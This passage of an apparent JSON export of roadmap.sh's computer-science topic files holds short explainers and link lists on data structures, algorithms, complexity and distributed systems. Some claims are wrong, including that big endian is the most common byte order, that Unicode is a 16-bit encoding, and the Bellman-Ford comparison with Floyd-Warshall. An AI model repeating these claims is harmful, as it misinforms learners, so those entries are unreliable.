    "content": "# Balanced Search Trees\n\nBalanced search trees are a type of data structure that allow for fast insertion, deletion, and lookup of data. They are a type of self-balancing binary search tree, which means that they are a binary tree that maintains the binary search tree property while also keeping the tree balanced. This means that the tree is always approximately balanced, which allows for fast insertion, deletion, and lookup of data.\n\nVisit the following resources to learn more:\n\n- [@article@Self-balancing Binary Search Tree - Wikipedia](https://en.wikipedia.org/wiki/Self-balancing_binary_search_tree)\n- [@video@Balanced Search Trees Operations and Applications 11 min](https://www.youtube.com/watch?v=IbNZ-x1I2IM)\n- [@video@Balanced binary search tree rotations](https://www.youtube.com/watch?v=q4fnJZr8ztY)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/balanced-tree@ZaWGLvZyu4sIPn-zwVISN.md",
    "content": "# Balanced Tree\n\nA balanced binary tree, also referred to as a height-balanced binary tree, is defined as a binary tree in which the height of the left and right subtree of any node differ by not more than 1.\n\nVisit the following resources to learn more:\n\n- [@article@Balanced Binary Tree](https://www.programiz.com/dsa/balanced-binary-tree)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/base@q3nRhTYS5wg9tYnQe2sCF.md",
    "content": "# BASE Model\n\nThe rise in popularity of NoSQL databases provided a flexible and fluidity with ease to manipulate data and as a result, a new database model was designed, reflecting these properties. The acronym BASE is slightly more confusing than ACID but however, the words behind it suggest ways in which the BASE model is different and acronym BASE stands for:-\n\n*   **B**asically **A**vailable\n*   **S**oft state\n*   **E**ventual consistency\n\nVisit the following resources to learn more:\n\n- [@article@ACID vs. BASE Database Model](https://phoenixnap.com/kb/acid-vs-base)\n- [@article@What Is BASE in Database Engineering?](https://www.lifewire.com/abandoning-acid-in-favor-of-base-1019674)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/basic-math-skills@cdNi0EYrQ5nsgNxFVnXL8.md",
    "content": "# Basic Math Skills\n\nMath is a fundamental skill for computer science.\n\nVisit the following resources to learn more:\n\n- [@article@Computer Science 70, 001 - Spring 2015 - Discrete Mathematics and Probability Theory](http://www.infocobuild.com/education/audio-video-courses/computer-science/cs70-spring2015-berkeley.html)\n- [@article@Discrete Mathematics By IIT Ropar NPTEL](https://nptel.ac.in/courses/106/106/106106183/)\n- [@video@Lec 1 | MIT 6.042J Mathematics for Computer Science, Fall 2010](https://www.youtube.com/watch?v=L3LMbpZIKhQ&list=PLB7540DEDD482705B)\n- [@video@Integer Arithmetic, Karatsuba Multiplication](https://www.youtube.com/watch?v=eCaXlAaN2uE&index=11&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb)\n- [@video@The Chinese Remainder Theorem (used in cryptography)](https://www.youtube.com/watch?v=ru7mWZJlRQg)\n- [@video@Discrete Mathematics by Shai Simonson (19 videos)](https://www.youtube.com/playlist?list=PLWX710qNZo_sNlSWRMVIh6kfTjolNaZ8t)\n- [@video@MIT 6.042J - Probability Introduction](https://www.youtube.com/watch?v=SmFwFdESMHI&index=18&list=PLB7540DEDD482705B)\n- [@video@MIT 6.042J - Conditional Probability](https://www.youtube.com/watch?v=E6FbvM-FGZ8&index=19&list=PLB7540DEDD482705B)\n- [@video@MIT 6.042J - Independence](https://www.youtube.com/watch?v=l1BCv3qqW4A&index=20&list=PLB7540DEDD482705B)\n- [@video@MIT 6.042J - Random Variables](https://www.youtube.com/watch?v=MOfhhFaQdjw&list=PLB7540DEDD482705B&index=21)\n- [@video@MIT 6.042J - Expectation I](https://www.youtube.com/watch?v=gGlMSe7uEkA&index=22&list=PLB7540DEDD482705B)\n- [@video@MIT 6.042J - Expectation II](https://www.youtube.com/watch?v=oI9fMUqgfxY&index=23&list=PLB7540DEDD482705B)\n- [@video@MIT 6.042J - Large Deviations](https://www.youtube.com/watch?v=q4mwO2qS2z4&index=24&list=PLB7540DEDD482705B)\n- [@video@MIT 6.042J - Random Walks](https://www.youtube.com/watch?v=56iFMY8QW2k&list=PLB7540DEDD482705B&index=25)\n- [@feed@Explore top posts about Math](https://app.daily.dev/tags/math?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/bellman-fords-algorithm@eY4nK2lPYsrR-a_8y2sao.md",
    "content": "# Bellman Ford's Algorithm\n\nBellman ford's algorithm is a graph algorithm that finds the shortest path from a source vertex to all other vertices in a graph. It is a dynamic programming algorithm that uses a bottom-up approach to find the shortest path. It is similar to Dijkstra's algorithm but it can handle negative weights. It is also similar to Floyd-Warshall's algorithm but it can handle negative weights and it is faster than Floyd-Warshall's algorithm.\n\nVisit the following resources to learn more:\n\n- [@video@Bellman-Ford - MIT](https://www.youtube.com/watch?v=f9cVS_URPc0&ab_channel=MITOpenCourseWare)\n- [@video@Bellman-Ford in 4 Minutes](https://www.youtube.com/watch?v=9PHkk0UavIM)\n- [@feed@Explore top posts about Data Science](https://app.daily.dev/tags/data-science?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/big-endian@U8AgY6I-62mN5Ohg9MsG6.md",
    "content": "# Big Endian\n\nBig endian is the most common type of endianness. In this type, the most significant byte is stored at the lowest memory address. This means that the most significant byte is stored first and the least significant byte is stored last.\n\nVisit the following resources to learn more:\n\n- [@video@Lecture 22. Big Endian and Little Endian](https://www.youtube.com/watch?v=T1C9Kj_78ek)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/big-o@c-NrTtJuNihbHzyPEOKTW.md",
    "content": "# Big O Notation\n\nThe Big O notation can be used to describe how the running time of an algorithm scales with the growth of the input size, ignoring implementation details such as programming language and computer speed. Specifically, it denotes the upper bound of the growth rate of a function that relates the running time of an algorithm to its input size. It can be used to compare algorithms and determine which one is better.\n\nVisit the following resources to learn more:\n\n- [@article@Big-O Notation: A Simple Explanation with Examples](https://medium.com/better-programming/big-o-notation-a-simple-explanation-with-examples-a56347d1daca)\n- [@article@CS 61B Lecture 19: Asymptotic Analysis](https://archive.org/details/ucberkeley_webcast_VIS4YDpuP98)\n- [@article@Big O Notation | Brilliant Math & Science Wiki](https://brilliant.org/wiki/big-o-notation/)\n- [@video@Big O Notation — Calculating Time Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@Big O Notations](https://www.youtube.com/watch?v=V6mKVRU1evU)\n- [@video@Big Oh Notation (and Omega and Theta)](https://www.youtube.com/watch?v=ei-A_wy5Yxw&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN&index=3)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/big-omega@X33735aeAVSlJ6yv9GS-h.md",
    "content": "# Big Omega Notation\n\nThe Big Omega notation is similar to the Big O notation. The only difference is that it denotes the lower bound on the growth rate of a function.\n\nVisit the following resources to learn more:\n\n- [@article@Big O Notation | Brilliant Math & Science Wiki](https://brilliant.org/wiki/big-o-notation/)\n- [@video@Big Oh Notation (and Omega and Theta)](https://www.youtube.com/watch?v=ei-A_wy5Yxw&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN&index=3)\n- [@video@Asymptotic Notation - CS50](https://www.youtube.com/watch?v=iOq5kSKqeR4)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/big-theta@ThLpVZQIJ4diY5m0dik8m.md",
    "content": "# Big Theta Notation\n\nIf a function has the same Big O and Big Omega, they also become the function's Big Theta. Big Theta is used to describe the exact growth rate of a function. It is denoted by the symbol Θ.\n\nVisit the following resources to learn more:\n\n- [@article@Big O Notation | Brilliant Math & Science Wiki](https://brilliant.org/wiki/big-o-notation/)\n- [@video@Big Oh Notation (and Omega and Theta)](https://www.youtube.com/watch?v=ei-A_wy5Yxw&list=PL1BaGV1cIH4UhkL8a9bJGG356covJ76qN&index=3)\n- [@video@Asymptotic Notation - CS50](https://www.youtube.com/watch?v=iOq5kSKqeR4)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/binary-search-tree@et7l85gnxjvzD2tDyHT_T.md",
    "content": "# Binary Search Tree\n\nA binary search tree, also called an ordered or sorted binary tree, is a rooted binary tree data structure with the key of each internal node being greater than all the keys in the respective node's left subtree and less than the ones in its right subtree.\n\nVisit the following resources to learn more:\n\n- [@course@Binary Search Trees - Coursera](https://www.coursera.org/learn/data-structures/lecture/E7cXP/introduction)\n- [@video@Tree | Illustrated Data Structures](https://www.youtube.com/watch?v=S2W3SXGPVyU)\n- [@video@Binary Search Trees - MIT](https://www.youtube.com/watch?v=76dhtgZt38A)\n- [@video@Binary Search Tree Implementation in C++](https://www.youtube.com/watch?v=COZK7NATh4k&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=29)\n- [@video@BST implementation - memory allocation in stack and heap](https://www.youtube.com/watch?v=hWokyBoo0aI&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=30)\n- [@video@Find Min and Max Element in Binary Search Tree](https://www.youtube.com/watch?v=Ut90klNN264&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=31)\n- [@video@Check if Given Tree is Binary Search Tree or Not](https://www.youtube.com/watch?v=yEwSGhSsT0U&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=36)\n- [@video@Delete an Element from Binary Search Tree](https://www.youtube.com/watch?v=gcULXE7ViZw&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=37)\n- [@video@Inorder Successor in a binary search tree](https://www.youtube.com/watch?v=5cPbNCrdotA&list=PL2_aWCzGMAwI3W_JlcBbtYTwiQSsOTa6P&index=38)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/binary-search@8kTg4O9MrTHRUrp6U-ctA.md",
    "content": "# Binary Search\n\nBinary search is a search algorithm that finds the position of a target value within a sorted array. Binary search compares the target value to the middle element of the array. If they are not equal, the half in which the target cannot lie is eliminated and the search continues on the remaining half, again taking the middle element to compare to the target value, and repeating this until the target value is found. If the search ends with the remaining half being empty, the target is not in the array.\n\nVisit the following resources to learn more:\n\n- [@article@Binary Search - Khan Academy](https://www.khanacademy.org/computing/computer-science/algorithms/binary-search/a/binary-search)\n- [@article@Binary Search](https://www.topcoder.com/thrive/articles/Binary%20Search)\n- [@video@Binary Search in 4 Minutes](https://www.youtube.com/watch?v=fDKIpRe8GW4&feature=youtu.be)\n- [@video@Binary Search - CS50](https://www.youtube.com/watch?v=D5SrAga1pno)\n- [@feed@Explore top posts about Binary Search](https://app.daily.dev/tags/binary-search?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/binary-tree@G9dnegZ6zNvxrCZ3O_b_z.md",
    "content": "# Binary Tree\n\nA binary tree is a tree data structure in which each node has at most two children, which are referred to as the left child and the right child.\n\nVisit the following resources to learn more:\n\n- [@video@Binary Trees - Part 1](https://www.youtube.com/watch?v=76dhtgZt38A&list=PLUl4u3cNGP63EdVPNLG3ToM6LaEUuStEY&index=9)\n- [@video@Binary Trees - Part 2](https://www.youtube.com/watch?v=U1JYwHcFfso&list=PLUl4u3cNGP63EdVPNLG3ToM6LaEUuStEY&index=10)\n- [@feed@Explore top posts about Binary Tree](https://app.daily.dev/tags/binary-tree?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/bitwise-operators@hTPLcuOW7eEE5oYhNfmOG.md",
    "content": "# Bitwise Operators\n\nBitwise operators are used to perform operations on individual bits of a number. They are used in cryptography, image processing, and other applications.\n\nVisit the following resources to learn more:\n\n- [@video@Bit Manipulation](https://www.youtube.com/watch?v=7jkIUgLC29I)\n- [@video@Binary: Plusses & Minuses (Why We Use Twos Complement) - Computerphile](https://www.youtube.com/watch?v=lKTsv6iVxV4)\n- [@video@Algorithms: Bit Manipulation](https://www.youtube.com/watch?v=NLKQEOgBAnw)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/boyer-moore@p6qub32jcaGloHXUDUrlG.md",
    "content": "# Boyer Moore Algorithm\n\nBoyer Moore algorithm is a string searching algorithm that is used to find the index of a substring in a string. It is a very efficient algorithm that is used in many applications. It is used in text editors, compilers, and many other applications.\n\nVisit the following resources to learn more:\n\n- [@course@Boyer Moore Algorithm](https://www.coursera.org/learn/algorithms-part2/lecture/CYxOT/boyer-moore)\n- [@article@Boyer-Moore String-search Algorithm](https://en.wikipedia.org/wiki/Boyer%E2%80%93Moore_string-search_algorithm)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/breadth-first-search@Ke_ch4fnuKIiGAXUM_LPP.md",
    "content": "# Breadth First Search\n\nBreadth first search is a graph traversal algorithm that starts at the root node and explores all of the neighbor nodes at the present depth prior to moving on to the nodes at the next depth level.\n\nVisit the following resources to learn more:\n\n- [@article@Breadth-First Search (BFS) and Depth-First Search (DFS) for Binary Trees in Java](https://www.digitalocean.com/community/tutorials/breadth-first-search-depth-first-search-bfs-dfs)\n- [@video@BFS and DFS in a Binary Tree](https://www.youtube.com/watch?v=uWL6FJhq5fM)\n- [@video@Breadth-first search in 4 minutes](https://www.youtube.com/watch?v=HZ5YTanv5QE)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/breadth-first-search@vcV6TEM_PqXxtThdfMKGw.md",
    "content": "# Breadth First Search\n\nBreadth first search for a graph is a way to traverse the graph. It starts at the root node and explores all of the neighbor nodes at the present depth prior to moving on to the nodes at the next depth level.\n\nVisit the following resources to learn more:\n\n- [@video@Graph Algorithms II - DFS, BFS, Kruskals Algorithm, Union Find Data Structure - Lecture 7](https://www.youtube.com/watch?v=ufj5_bppBsA&list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&index=7)\n- [@video@Breadth-first search in 4 minutes](https://www.youtube.com/watch?v=HZ5YTanv5QE)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/brute-force-search@g3b0kt1fCAjjYyS2WelWi.md",
    "content": "# Brute Force Search\n\nBrute force search is a simple algorithm that checks for a pattern in a string by comparing each character of the string with the first character of the pattern. If the first character matches, it then compares the next character of the string with the next character of the pattern and so on. If all the characters of the pattern match, then the pattern is found. If the first character does not match, then the algorithm compares the second character of the string with the first character of the pattern and so on.\n\nVisit the following resources to learn more:\n\n- [@course@Brute-Force Substring Search](https://www.coursera.org/learn/algorithms-part2/lecture/2Kn5i/brute-force-substring-search)\n- [@article@A Beginner Guide to Brute Force Algorithm for Substring Search](https://nulpointerexception.com/2019/02/10/a-beginner-guide-to-brute-force-algorithm-for-substring-search/)\n- [@article@Brute Force Algorithm in Cybersecurity and String Search](https://www.baeldung.com/cs/brute-force-cybersecurity-string-search)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/bubble-sort@4wGBYFZpcdTt97WTbSazx.md",
    "content": "# Bubble Sort\n\nBubble sort is a simple sorting algorithm that repeatedly steps through the list, compares adjacent elements and swaps them if they are in the wrong order. The pass through the list is repeated until the list is sorted.\n\nVisit the following resources to learn more:\n\n- [@article@Bubble Sort Algorithm](https://www.programiz.com/dsa/bubble-sort)\n- [@video@Bubble Sort](https://www.youtube.com/watch?v=P00xJgWzz2c&index=1&list=PL89B61F78B552C1AB)\n- [@video@Bubble sort in 2 minutes](https://youtu.be/xli_FI7CuzA)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/c@1kQJs-3Aw8Bi7d_Xh67zS.md",
    "content": "# C++\n\nC++ is a powerful general-purpose programming language. It can be used to develop operating systems, browsers, games, and so on. C++ supports different ways of programming like procedural, object-oriented, functional, and so on. This makes C++ powerful as well as flexible.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated C++ Roadmap](https://roadmap.sh/cpp)\n- [@article@Learn C++](https://learncpp.com/)\n- [@article@Cpp Reference](https://en.cppreference.com/)\n- [@article@CPlusPlus](https://cplusplus.com/)\n- [@article@C++ TutorialsPoint](https://www.tutorialspoint.com/cplusplus/index.htm)\n- [@feed@Explore top posts about C++ Programming](https://app.daily.dev/tags/c++?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/c@jHKCLfLml8oZyj4829gx0.md",
    "content": "# C#\n\nC# (pronounced \"C sharp\") is a general purpose programming language made by Microsoft. It is used to perform different tasks and can be used to create web apps, games, mobile apps, etc.\n\nVisit the following resources to learn more:\n\n- [@article@C# Learning Path](https://docs.microsoft.com/en-us/learn/paths/csharp-first-steps/?WT.mc_id=dotnet-35129-website)\n- [@article@Introduction to C#](https://docs.microsoft.com/en-us/shows/CSharp-101/?WT.mc_id=Educationalcsharp-c9-scottha)\n- [@video@C# tutorials](https://www.youtube.com/watch?v=gfkTfcpWqAY&list=PLTjRvDozrdlz3_FPXwb6lX_HoGXa09Yef)\n- [@feed@Explore top posts about C# Programming](https://app.daily.dev/tags/csharp?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/c@n4IsklfYJXFIyF1rGWuEa.md",
    "content": "# C\n\nC is a general-purpose computer programming language. It was created in the 1970s by Dennis Ritchie, and remains very widely used and influential. By design, C's features cleanly reflect the capabilities of the targeted CPUs.\n\nVisit the following resources to learn more:\n\n- [@book@Beej's Guide to C Programming](https://beej.us/guide/bgc/)\n- [@book@Beej's Guide to C Programming](https://beej.us/guide/bgc/)\n- [@article@Learn C - Tutorials Point](https://www.tutorialspoint.com/cprogramming/index.htm)\n- [@video@C Programming Tutorial for Beginners](https://www.youtube.com/watch?v=KJgsSFOSQv0)\n- [@video@Learn C Programming with Dr. Chuck](https://www.youtube.com/watch?v=j-_s8f5K30I)\n- [@video@C Programming Full Course 2025 (Bro Code)](https://youtu.be/xND0t1pr3KY?si=sy-Xzz7JHMqS6ruA)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/caching@4u5w9QCptLWuY9O7_UU8V.md",
    "content": "# Caching\n\nCaching is a way of storing data in a temporary storage to make future requests faster. It is one of the most important tools in the computer science toolbox.\n\nVisit the following resources to learn more:\n\n- [@article@System Design - Caching](https://dev.to/karanpratapsingh/system-design-the-complete-course-10fo#caching)\n- [@video@What is Caching | System Design Basics](https://www.youtube.com/watch?v=joifNgoXXFk)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/cap-theorem@GZI8EsEqiMJX3fSbO_E-7.md",
    "content": "# CAP Theorem\n\nThe CAP theorem states that it is impossible for a distributed data store to simultaneously provide more than two out of Consistency, Availability and Partition Tolerance.\n\nVisit the following resources to learn more:\n\n- [@article@CAP Theorem](https://en.wikipedia.org/wiki/CAP_theorem)\n- [@video@What is CAP Theorem?](https://www.youtube.com/watch?v=_RbsFXWRZ10)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/cap-theorem@uqfeiQ9K--QkGNwks4kjk.md",
    "content": "# CAP Theorem\n\nCAP is an acronym for Consistency, Availability, and Partition Tolerance. According to the CAP theorem, any distributed system can only guarantee two of the three properties at any time. You can't guarantee all three properties at once.\n\nVisit the following resources to learn more:\n\n- [@article@What is CAP Theorem?](https://www.bmc.com/blogs/cap-theorem/)\n- [@article@CAP Theorem - Wikipedia](https://en.wikipedia.org/wiki/CAP_theorem)\n- [@article@An Illustrated Proof of the CAP Theorem](https://mwhittaker.github.io/blog/an_illustrated_proof_of_the_cap_theorem/)\n- [@article@CAP Theorem and its applications in NoSQL Databases](https://www.ibm.com/uk-en/cloud/learn/cap-theorem)\n- [@video@What is CAP Theorem?](https://www.youtube.com/watch?v=_RbsFXWRZ10)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/cdn@r8V9bZpc98SrLvXc070bZ.md",
    "content": "# Content Delivery Network (CDN)\n\nA CDN is a network of servers that are distributed geographically. The servers are connected to each other and to the internet. The servers are used to deliver content to users. The content is delivered to the user from the server that is closest to the user. This is done to reduce latency and improve the performance of the content delivery.\n\nVisit the following resources to learn more:\n\n- [@article@What is a CDN?](https://www.cloudflare.com/learning/cdn/what-is-a-cdn/)\n- [@article@Content Delivery Network (CDN) - System Design](https://dev.to/karanpratapsingh/system-design-the-complete-course-10fo#content-delivery-network-cdn)\n- [@video@Content Delivery Networks](https://www.youtube.com/watch?v=6DXEPcXKQNY)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/character-encodings@DtG9EJonWi4_2oQ4fWOKY.md",
    "content": "# Character Encodings\n\nCharacter encodings are a way of representing characters as numbers. They are used to store and transmit text. The most common character encoding is ASCII, which is a 7-bit encoding. This means that each character is represented by a number between 0 and 127. The ASCII character set contains 128 characters, including letters, numbers, punctuation, and control characters. The ASCII character set is a subset of the Unicode character set, which is a 16-bit encoding. Unicode is a superset of ASCII, so ASCII characters can be represented by Unicode. Unicode is the most common character encoding used on the web.\n\nVisit the following resources to learn more:\n\n- [@article@Must Know about Character Encodings](https://www.joelonsoftware.com/2003/10/08/the-absolute-minimum-every-software-developer-absolutely-positively-must-know-about-unicode-and-character-sets-no-excuses/)\n- [@article@Character Encoding](https://cs.lmu.edu/~ray/notes/charenc/)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/class-diagrams@FZ8znJSz8PvQlnEyRLXmQ.md",
    "content": "# Class Diagrams\n\nClass Diagrams are used to model the static structure of a system. They are used to show the classes, their attributes, operations (or methods), and the relationships between objects.\n\nVisit the following resources to learn more:\n\n- [@article@Class Diagrams](https://www.visual-paradigm.com/guide/uml-unified-modeling-language/uml-class-diagram-tutorial/)\n- [@video@UML Class Diagram Tutorial](https://www.youtube.com/watch?v=UI6lqHOVHic)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/cloud-design-patterns@YMO9oD_sbzyDZPNU2xZwe.md",
    "content": "# Cloud Design Patterns\n\nThese design patterns are useful for building reliable, scalable, secure applications in the cloud.\n\nThe link below has cloud design patterns where each pattern describes the problem that the pattern addresses, considerations for applying the pattern, and an example based on Microsoft Azure. Most patterns include code samples or snippets that show how to implement the pattern on Azure. However, most patterns are relevant to any distributed system, whether hosted on Azure or other cloud platforms.\n\nVisit the following resources to learn more:\n\n- [@article@Cloud Design Patterns](https://learn.microsoft.com/en-us/azure/architecture/patterns/)\n- [@feed@Explore top posts about Cloud](https://app.daily.dev/tags/cloud?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/clustering@wAsZ-M5N9ERufQnBaXbAE.md",
    "content": "# Clustering\n\nAt a high level, a computer cluster is a group of two or more computers, or nodes, that run in parallel to achieve a common goal. This allows workloads consisting of a high number of individual, parallelizable tasks to be distributed among the nodes in the cluster. As a result, these tasks can leverage the combined memory and processing power of each computer to increase overall performance.\n\nVisit the following resources to learn more:\n\n- [@article@System Design: Clustering](https://dev.to/karanpratapsingh/system-design-clustering-3726)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/co-np@pLBfkzi0qfgVRqi_4AmMI.md",
    "content": "# Co-NP\n\nCo-NP stands for the complement of NP Class. It means if the answer to a problem in Co-NP is No, then there is proof that can be checked in polynomial time.\n\nVisit the following resources to learn more:\n\n- [@article@Trying to understand P vs NP vs NP Complete vs NP Hard](https://softwareengineering.stackexchange.com/questions/308178/trying-to-understand-p-vs-np-vs-np-complete-vs-np-hard)\n- [@video@Complexity: P, NP, NP-completeness, Reductions](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22)\n- [@video@Complexity: Approximation Algorithms](https://www.youtube.com/watch?v=MEz1J9wY2iM&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=24)\n- [@video@Complexity: Fixed-Parameter Algorithms](https://www.youtube.com/watch?v=4q-jmGrmxKs&index=25&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n- [@video@Lecture 23: Computational Complexity](https://www.youtube.com/watch?v=moPtwq_cVH8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=24)\n- [@video@Greedy Algs. II & Intro to NP Completeness](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/combinatorics@lWnAY0DgrUOmT6yqnxeBN.md",
    "content": "# Combinatorics\n\nCombinatorics is the study of counting. It is a branch of mathematics that is used to solve problems in a variety of fields, including computer science, statistics, and physics. In computer science, combinatorics is used to solve problems related to counting the number of possible outcomes of a given problem. For example, if you are given a set of 10 objects, how many different ways can you arrange them? Or, if you are given a set of 10 objects, how many different ways can you choose 3 objects from that set? These are examples of combinatorial problems.\n\nVisit the following resources to learn more:\n\n- [@article@Probability and Combinatorics - Khan Academy](https://www.khanacademy.org/math/probability/probability-and-combinatorics-topic)\n- [@video@Math Skills: How to find Factorial, Permutation and Combination](https://www.youtube.com/watch?v=8RRo6Ti9d0U)\n- [@video@Make School: Probability](https://www.youtube.com/watch?v=sZkAAk9Wwa4)\n- [@video@Make School: More Probability and Markov Chains](https://www.youtube.com/watch?v=dNaJg-mLobQ)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/common-algorithms@7a6-AnBI-3tAU1dkOvPkx.md",
    "content": "# Common Algorithms\n\nHere are some common algorithms that you should know. You can find more information about them in the Algorithms section of the Computer Science course.\n\n*   Sorting\n*   Recursion\n*   Searching\n*   Cache Algorithms\n*   Tree Algorithms\n*   Graph Algorithms\n*   Greedy Algorithms\n*   Backtracking\n*   Substring Search\n*   Suffix Arrays\n*   Dynamic Programming\n\nVisit the following resources to learn more:\n\n- [@article@Top Algorithms and Data Structures](https://medium.com/data-science/top-algorithms-and-data-structures-you-really-need-to-know-ab9a2a91c7b5)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/common-uml-diagrams@DMuMsEowpevTCALtziwTB.md",
    "content": "# UML\n\nUML is a standard way of visualizing a software system. It is a general-purpose, developmental, modeling language in the field of software engineering that is intended to provide a standard way to visualize the design of a system.\n\nVisit the following resources to learn more:\n\n- [@article@Unified Modeling Language (UML) Description](https://www.uml-diagrams.org/)\n- [@video@UML Diagrams Full Course (Unified Modeling Language)](https://www.youtube.com/watch?v=WnMQ8HlmeXc)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/complete-binary-tree@Jx1WWCjm8jkfAGtHv15n1.md",
    "content": "# Complete Binary Tree\n\nA complete binary tree is a special type of binary tree where all the levels of the tree are filled completely except the lowest level nodes which are filled from as left as possible.\n\nVisit the following resources to learn more:\n\n- [@article@Complete Binary Tree - Programiz](https://www.programiz.com/dsa/complete-binary-tree)\n- [@article@Complete Binary Trees](https://www.wscubetech.com/resources/dsa/complete-binary-tree)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/complexity-classes@YLCmZvoLkhOk9wlgYW2Ms.md",
    "content": "# Complexity Classes\n\nIn computer science, there exist some problems whose solutions are not yet found, the problems are divided into classes known as Complexity Classes. In complexity theory, a Complexity Class is a set of problems with related complexity. These classes help scientists to groups problems based on how much time and space they require to solve problems and verify the solutions. It is the branch of the theory of computation that deals with the resources required to solve a problem.\n\nVisit the following resources to learn more:\n\n- [@article@Trying to understand P vs NP vs NP Complete vs NP Hard](https://softwareengineering.stackexchange.com/questions/308178/trying-to-understand-p-vs-np-vs-np-complete-vs-np-hard)\n- [@video@Complexity: P, NP, NP-completeness, Reductions](https://www.youtube.com/watch?v=eHZifpgyH_4&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=22)\n- [@video@Complexity: Approximation Algorithms](https://www.youtube.com/watch?v=MEz1J9wY2iM&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp&index=24)\n- [@video@Complexity: Fixed-Parameter Algorithms](https://www.youtube.com/watch?v=4q-jmGrmxKs&index=25&list=PLUl4u3cNGP6317WaSNfmCvGym2ucw3oGp)\n- [@video@Lecture 23: Computational Complexity](https://www.youtube.com/watch?v=moPtwq_cVH8&list=PLUl4u3cNGP61Oq3tWYp6V_F-5jb5L2iHb&index=24)\n- [@video@Greedy Algs. II & Intro to NP Completeness](https://youtu.be/qcGnJ47Smlo?list=PLFDnELG9dpVxQCxuD-9BSy2E7BWY3t5Sm&t=2939)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/concurrency-in-multiple-cores@xUo5Ox_HTgGyeQMDIkVyK.md",
    "content": "# Concurrency in Multiple Cores\n\nConcurrency or Parallelism is simultaneous execution of processes on a multiple cores per CPU or multiple CPUs (on a single motherboard). Concurrency is when Parallelism is achieved on a single core/CPU by using scheduling algorithms that divides the CPU's time (time-slice).\n\nVisit the following resources to learn more:\n\n- [@article@Difference between Multi-core and concurrent Programming?](https://stackoverflow.com/questions/5372861/what-is-the-difference-between-multicore-and-concurrent-programming)\n- [@article@Concurrency in Multicore systems](https://cs.stackexchange.com/questions/140793/concurrency-in-multiple-core)\n- [@article@Mastering Concurrency](https://www.harrisonclarke.com/blog/mastering-concurrency-a-guide-for-software-engineers)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/constant@3F_QBv_sU39ehOxpurF88.md",
    "content": "# Constant\n\nConstant time algorithms are the simplest and most efficient algorithms. They are algorithms that always take the same amount of time to run, regardless of the size of the input. This is the best case scenario for an algorithm, and is the goal of all algorithms.\n\nVisit the following resources to learn more:\n\n- [@video@Big O Notation — Calculating Time Complexity](https://www.youtube.com/watch?v=Z0bH0cMY0E8)\n- [@video@Big O Notations](https://www.youtube.com/watch?v=V6mKVRU1evU)"
  },
  {
    "path": "src/data/roadmaps/computer-science/content/cpu-cache@DjTQjMbika4_yTzrBpcmB.md",
